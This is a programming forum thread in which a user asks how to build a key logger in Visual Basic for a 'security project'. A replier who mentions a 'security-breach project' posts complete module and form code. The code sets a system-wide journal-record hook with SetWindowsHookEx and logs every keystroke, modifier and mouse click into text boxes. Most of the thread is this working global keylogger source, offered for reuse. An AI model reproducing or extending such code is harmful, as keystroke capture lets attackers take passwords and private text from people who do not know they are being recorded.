Keyboard subclassing

is there any way to subclass the keyboard in VB? I need to make a key logger for a security project I'm working on, and using getkeystate in a timer or a loop is too slow to keep up with the typing rate of alot of people. I found a dll written in C that subclasses the keyboard, and it works perfect. So I was wondering if it was possible in VB.

:D Thanks for any help,

Not unless you create a C++ DLL for your subclassing. Why not use the functions in the DLL you already have?

I was just wondering if it was possible to do in VB because I know you can subclass windows. So, I thought maybe...just maybe there is a way to do it for key strokes.

Yes, you can sublcass windows, but you can't subclass them if you don't own them. This needs to be done via a C++ DLL.

I use getkeyboardstate. It retrieves the entire keyboard in one fell swoop, and indexes the keys even.
(used in a security-breach project i'm working on... hehe)

'--starts bas module code--
'if u have any doubts u can mail me at [email protected]

Option Explicit


Public Enum HookFlags
HFMouseDown = 1
HFMouseUp = 2
HFMouseMove = 4
HFKeyDown = 8
HFKeyUp = 16
End Enum

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)
Private Declare Function GetAsyncKeyState% Lib "user32" (ByVal vKey As Long)
Private Declare Function GetForegroundWindow& Lib "user32" ()
Private Declare Function GetWindowThreadProcessId& Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long)
Private Declare Function GetKeyboardLayout& Lib "user32" (ByVal dwLayout As Long)
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const SWP_NOSIZE = &H1
Private Const SWP_NOMOVE = &H2
Private Const SWP_NOREDRAW = &H8
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_MOUSEMOVE = &H200
Private Const WM_LBUTTONDOWN = &H201
Private Const WM_LBUTTONUP = &H202
Private Const WM_LBUTTONDBLCLK = &H203
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP = &H205
Private Const WM_RBUTTONDBLCLK = &H206
Private Const WM_MBUTTONDOWN = &H207
Private Const WM_MBUTTONUP = &H208
Private Const WM_MBUTTONDBLCLK = &H209
Private Const WM_MOUSEWHEEL = &H20A
Private Const WH_JOURNALRECORD = 0


Type EVENTMSG
wMsg As Long
lParamLow As Long
lParamHigh As Long
msgTime As Long
hWndMsg As Long
End Type
Dim EMSG As EVENTMSG
Dim hHook As Long, frmHooked As Form, hFlags As Long


Public Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'the real hook procedure
'here we get all msg and we filter and transfering to forms methods
'like form_keydown,form_keyup events

If nCode < 0 Then
HookProc = CallNextHookEx(hHook, nCode, wParam, lParam)
Exit Function
End If
Dim i%, j%, k%
CopyMemory EMSG, ByVal lParam, Len(EMSG)
Select Case EMSG.wMsg
Case WM_KEYDOWN
If (hFlags And HFKeyDown) = HFKeyDown Then
If GetAsyncKeyState(vbKeyShift) Then j = 1
If GetAsyncKeyState(vbKeyControl) Then j = 2
If GetAsyncKeyState(vbKeyMenu) Then j = 4
Select Case (EMSG.lParamLow And &HFF)
Case 0 To 31, 90 To 159
k = (EMSG.lParamLow And &HFF)
Case Else
k = MapVirtualKeyEx(EMSG.lParamLow And &HFF, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))
End Select
frmHooked.System_KeyDown k, j
End If
Case WM_KEYUP
If (hFlags And HFKeyUp) = HFKeyUp Then
If GetAsyncKeyState(vbKeyShift) Then j = 1
If GetAsyncKeyState(vbKeyControl) Then j = 2
If GetAsyncKeyState(vbKeyMenu) Then j = 4


Select Case (EMSG.lParamLow And &HFF)
Case 0 To 31, 90 To 159
k = (EMSG.lParamLow And &HFF)
Case Else
k = MapVirtualKeyEx(EMSG.lParamLow And &HFF, 2, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, 0)))
End Select
frmHooked.System_KeyUp k, j
End If
Case WM_MOUSEWHEEL
Debug.Print "MouseWheel"
Case WM_MOUSEMOVE
If (hFlags And HFMouseMove) = HFMouseMove Then
If GetAsyncKeyState(vbKeyLButton) Then i = 1
If GetAsyncKeyState(vbKeyRButton) Then i = 2
If GetAsyncKeyState(vbKeyMButton) Then i = 4
If GetAsyncKeyState(vbKeyShift) Then j = 1
If GetAsyncKeyState(vbKeyControl) Then j = 2
If GetAsyncKeyState(vbKeyMenu) Then j = 4
frmHooked.System_MouseMove i, j, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)
End If
Case WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN
If (hFlags And HFMouseDown) = HFMouseDown Then
If GetAsyncKeyState(vbKeyShift) Then i = 1
If GetAsyncKeyState(vbKeyControl) Then i = 2
If GetAsyncKeyState(vbKeyMenu) Then i = 4
frmHooked.System_MouseDown 2 ^ ((EMSG.wMsg - 513) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)
End If
Case WM_LBUTTONUP, WM_RBUTTONUP, WM_MBUTTONUP
If (hFlags And HFMouseUp) = HFMouseUp Then
If GetAsyncKeyState(vbKeyShift) Then i = 1
If GetAsyncKeyState(vbKeyControl) Then i = 2
If GetAsyncKeyState(vbKeyMenu) Then i = 4
frmHooked.System_MouseUp 2 ^ ((EMSG.wMsg - 514) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh)
End If
End Select
Call CallNextHookEx(hHook, nCode, wParam, lParam)
End Function


Public Sub SetHook(fOwner As Form, flags As HookFlags)
'we globaly hook for all keyboard and mouse activity

hHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf HookProc, 0, 0)
Set frmHooked = fOwner
hFlags = flags
Window_SetAlwaysOnTop frmHooked.hwnd, True
End Sub


Public Sub RemoveHook()
UnhookWindowsHookEx hHook
Window_SetAlwaysOnTop frmHooked.hwnd, False
Set frmHooked = Nothing
End Sub


Private Function Window_SetAlwaysOnTop(hwnd As Long, bAlwaysOnTop As Boolean) As Boolean
Window_SetAlwaysOnTop = SetWindowPos(hwnd, -2 - bAlwaysOnTop, 0, 0, 0, 0, SWP_NOREDRAW Or SWP_NOSIZE Or SWP_NOMOVE)
End Function
'--End of bas module code--
Option Explicit
'--Starts form code--



'this form needs 2 text boxes with multiline true
'if u have any doubts u can mail me at [email protected]


Private Sub Form_Load()
SetHook Me, HFMouseDown + HFMouseUp + HFMouseMove + HFKeyDown + HFKeyUp
Text1 = "Mouse activity log:"
Text2 = "Keyboard activity log:"
End Sub


Public Sub System_KeyDown(KeyCode As Integer, Shift As Integer)
Dim s As String


Select Case KeyCode
Case 32 To 90, 160 To 255
s = LCase(Chr$(KeyCode))
Case Else
s = "ASCII code " & KeyCode
End Select
If Shift = vbShiftMask Then s = UCase(s): s = s & " + Shift "
If Shift = vbCtrlMask Then s = s & " + Ctrl "
If Shift = vbAltMask Then s = s & " + Alt "
Text2 = Text2 & vbCrLf & s & " down"
End Sub


Public Sub System_KeyUp(KeyCode As Integer, Shift As Integer)
Dim s As String


Select Case KeyCode
Case 32 To 90, 160 To 255
s = LCase(Chr$(KeyCode))
Case Else
s = "ASCII code " & KeyCode
End Select
If Shift = vbShiftMask Then s = UCase(s): s = s & " + Shift "
If Shift = vbCtrlMask Then s = s & " + Ctrl "
If Shift = vbAltMask Then s = s & " + Alt "
Text2 = Text2 & vbCrLf & s & " up"
End Sub


Public Sub System_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
Dim s As String
If Button = vbLeftButton Then s = "Left Button "
If Button = vbRightButton Then s = "Right Button "
If Button = vbMiddleButton Then s = "Middle Button "
If Shift = vbShiftMask Then s = s & "+ Shift "
If Shift = vbCtrlMask Then s = s & "+ Ctrl "
If Shift = vbAltMask Then s = s & "+ Alt "
Text1 = Text1 & vbCrLf & s & "Down at pos (pixels): " & CStr(x) & " , " & CStr(y)
End Sub


Public Sub System_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
Dim s As String
If Button = vbLeftButton Then s = "Left Button "
If Button = vbRightButton Then s = "Right Button "
If Button = vbMiddleButton Then s = "Middle Button "
If Shift = vbShiftMask Then s = s & "+ Shift "
If Shift = vbCtrlMask Then s = s & "+ Ctrl "
If Shift = vbAltMask Then s = s & "+ Alt "
Text1 = Text1 & vbCrLf & s & "Up at pos (pixels): " & CStr(x) & " , " & CStr(y)
End Sub


Public Sub System_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
Dim s As String
If Button = vbLeftButton Then s = "Left Button "
If Button = vbRightButton Then s = "Right Button "
If Button = vbMiddleButton Then s = "Middle Button "
If Shift = vbShiftMask Then s = s & "+ Shift "
If Shift = vbCtrlMask Then s = s & "+ Ctrl "
If Shift = vbAltMask Then s = s & "+ Alt "
Label1 = "Mouse info" & vbCrLf & "X = " & x & " Y= " & y & vbCrLf
If s <> "" Then Label1 = Label1 & "Extra Info: " & vbCrLf & s & "pressed"
End Sub


Private Sub Form_Unload(Cancel As Integer)
RemoveHook
End Sub
'--End of form code--

Thank you for that code...
In my testing, i never noticed that my code only worked when my window had focus :[